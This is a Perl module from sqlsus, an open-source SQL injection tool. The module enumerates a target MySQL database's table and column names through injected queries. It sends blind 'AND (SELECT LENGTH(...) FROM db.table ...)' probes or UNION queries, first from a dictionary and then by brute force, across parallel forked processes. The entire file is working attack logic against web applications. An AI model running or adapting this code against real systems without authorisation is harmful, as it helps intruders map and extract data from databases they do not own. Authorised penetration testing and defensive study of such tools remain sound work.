package brute;

# This file is part of sqlsus
#
# Copyright (c) 2008-2011 Jérémy Ruffet (sativouf)
# http://sqlsus.sourceforge.net/
#
# Licensed under GPLv3+: GNU GPL version 3 or later
# See LICENSE file or http://www.gnu.org/licenses/gpl.html

use strict;
use warnings;

use Time::HiRes qw/sleep/;
use POSIX;

our $current_children = 0;

##################################
sub found_item {
	my $table = shift;
	my $column = shift;

	if ($column eq "1") {
		&msg::raw("\r" . " " x 60 . "\rfound table \"$table\"\n");
		&db::query("DELETE FROM databases WHERE database_name = ? AND table_name = '' AND column_name = ''", $main::database);
		if (not grep (/^$table$/i, &db::query("SELECT table_name FROM databases WHERE database_name = ?", $main::database))) {
			&db::query("INSERT INTO databases VALUES (?, ?, ?, ?)", $main::database, $table, '', '');
		}
	} else {
		&msg::raw("\r" . " " x 60 . "\rfound column \"$column\"\n");
		if (not &db::query("SELECT * FROM databases WHERE database_name = ? and table_name = ? and column_name = ?", $main::database, $table, $column)) {
			&db::query("INSERT INTO databases VALUES (?, ?, ?, ?)", $main::database, $table, $column, '');
			&db::query("DELETE FROM databases WHERE database_name = ? and table_name = ? and column_name = ''", $main::database, $table);
		}
	}
}

##################################
sub try_item {
	my $table = shift;
	my $column = shift;

	my $query = "SELECT LENGTH(IFNULL($column,1))+1 FROM $main::database.$table LIMIT 1";
	my $res;

	if ($conf::blind) {
		if (&select::inject_blind("AND ($query)")) {
			&found_item($table, $column);
			return 1;
		}
	} else {
		if (&select::query($query, 1)) {
			&found_item($table, $column);
			return 1;
		}
	}
	return 0;
}


##################################
sub round_item {
	my $prefix = shift;
	my $table  = shift;
	my $column = shift;
	my $counter = shift;

	while ($conf::processes == $current_children and not &main::is_interrupted()) {
		sleep .3;
	}
	$current_children++;

	return if &functions::my_fork();

	#
	# child process
	#

	&msg::raw("\r". " "x60 . "\rtrying \"" . ($column eq 1 ? $prefix . $table : $column) . "\" (# $counter)") unless $counter % 10;

	if ($conf::uc_first and $column eq "1") {
		exit if &try_item($prefix . ucfirst($table), $column);
	} 
	if ($conf::uc_all and $column eq "1") {
		exit if &try_item($prefix . uc($table), $column);
	}
	&try_item($prefix . $table, $column);
	# end child process
	exit;
}


##################################
sub guess {
	my $table = shift;

	my $add_string = $conf::brute_start_string;

	my $i = 0;

	# baby zombies killer
	$SIG{CHLD} = sub {
		while ((my $child = waitpid(-1,WNOHANG)) > 0) {
			$current_children--;
		}
	};

	my @dict;
	if ($table) {
		@dict = @conf::brute_columns_dict;
	} else {
		@dict = @conf::brute_tables_dict;
	}

	&msg::raw("\r" . " "x60 . "\r[+] Using dictionnary attack\n");
	for (@dict) {
		last if &main::is_interrupted();
		if ($table) {
			&round_item('', $table, $_, $i++);
		} else {
			&round_item($conf::table_prefix, $_, 1, $i++);
		}
	}

	while ($current_children) {
		sleep .3;
	}

	&msg::raw("\r" . " "x60 . "\r");
	return if (&functions::question("Continue with bruteforce", qw(y n)) eq "n");

	&msg::raw("\r" . " "x60 . "\r[+] Using bruteforce (lc");
	&msg::raw(" + uc") if $conf::uc_all;
	&msg::raw(" + uc_first") if $conf::uc_first;
	&msg::raw(")\n");

	while (not &main::is_interrupted()) {
		if ($table) {
			&round_item('', $table, $add_string++, $i++);
		} else {
			&round_item($conf::table_prefix, $add_string++, 1, $i++);
		}
	}

	waitpid(-1, 0);
}


##################################
sub command {
	my $args = shift;

	if (not $conf::blind and not @conf::columns) {
		&msg::error("Columns for UNION not set, set them in the configuration file or use \"start\" first");
		return 0;
	}

	if (not $main::database) {
		&msg::error("Target database not set, use \"start\" first");
		return 0;
	}

	if ($args =~ /^(?:tables|columns\s+(.*))$/i) {
		&guess($1);
		&msg::raw("\n");
	} else {
		&help::usage("brute");
	}
}


1
